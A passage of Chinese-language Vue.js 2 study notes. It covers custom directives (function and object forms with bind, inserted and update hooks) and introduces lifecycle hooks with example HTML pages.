        <!-- <h2>放大十倍后的n值是:<span v-big-number='n'></span> </h2> -->
        <button @click="n++">点我n+1</button>
        <hr>
        <input type="text" v-fbind:value="n">
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el:'#root',
            data:{
                n:1
            },
            directives:{
                // 'big-number'(element,binding){
                //     element.innerText = binding.value * 10
                // },
                big(element,binding){
                    console.log('big',this);//此处的this是window
                    //big函数何时会被调用:
                    // 1、指令与元素成功绑定时
                    // 2、指令所在的模板被重新解析时
                    element.innerText = binding.value * 10
                    //instanceof :谁是不是谁的实例
                    // console.log(element,binding);
                },
                fbind:{
                    //指令与元素成功绑定时(一上来)
                    bind(element,binding){
                        element.value = binding.value
                    },
                    //指令所在元素被插入页面时
                    inserted(element,binding){
                        element.focus()
                    },
                    //指令所在的模板被重新解析时
                    update(element,binding) {
                        element.value = binding.value
                    }
                }
            }
        })
</script>
</html>

自定义总结

局部指令:
new Vue({
	directives:{指令名:配置对象}
})
或
new Vue({
	directives:{指令名:回调函数}
})
全局指令:
Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)
指令定义时不加v-,但使用时要加v-
指令名如果是多个单词,要使用kebab-case(user-name),不要用camelCase(userName)

1.17生命周期

1、又名:生命周期回调函数、生命周期函数,生命周期钩子

2、为Vue在关键时刻帮我们调用的一些特殊名称的函数

3、生命周期函数的名字不可更改,但函数的具体内容是根据需求写的

4、生命周期函数中的this指向是 vm 或组件 实例对象

引出:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>引出生命周期</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <!-- <h2 :style="{opacity}">欢迎学习Vue</h2> -->
        <h2 :style="{opacity}" >欢迎学习Vue</h2>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
            el:'#root',
            data:{
                opacity:1
            },
            methods: {
               
            },
            //Vue完成模板的解析并把初始的真实DOM元素放入页面后调用(挂在完毕 )
            mounted() {
                    setInterval(() => {
                        this.opacity -= 0.01
                        if(vm.opacity <= 0) this.opacity = 1
                    },16)
            },
        })

        // setInterval(() => {
        //     vm.opacity -= 0.01
        //     if(vm.opacity <= 0) vm.opacity = 1
        // },16)
</script>
</html>

分析

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click="add">点我n+1</button>
        <a href=""></a>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el:'#root',
            template:`
                <div>
                    <h2>当前n的值:{{n}}</h2>
                    <button @click="add">点我n+1</button>
                </div>
            `,
            data:{
                n:1
            },
            methods: {
                add(){
                    this.n++
                }
            },
            beforeCreate() {
                console.log('beforeCreate');
                // console.log(this);
                // debugger;
            },
            created(){
                console.log('created');
                // console.log(this);
                // debugger;
            },
            beforeMount() {
                console.log('beforeMount');
                // console.log(this);
                // debugger;
            },
            mounted() {
                console.log('mounter',this.$el instanceof HTMLElement);
            },
            beforeUpdate() {
                console.log('beforeUpdate')
                console.log(this.n);
                // debugger
            },
            updated() {
                
            },
        })
</script>
</html>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

天海一直在AI

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值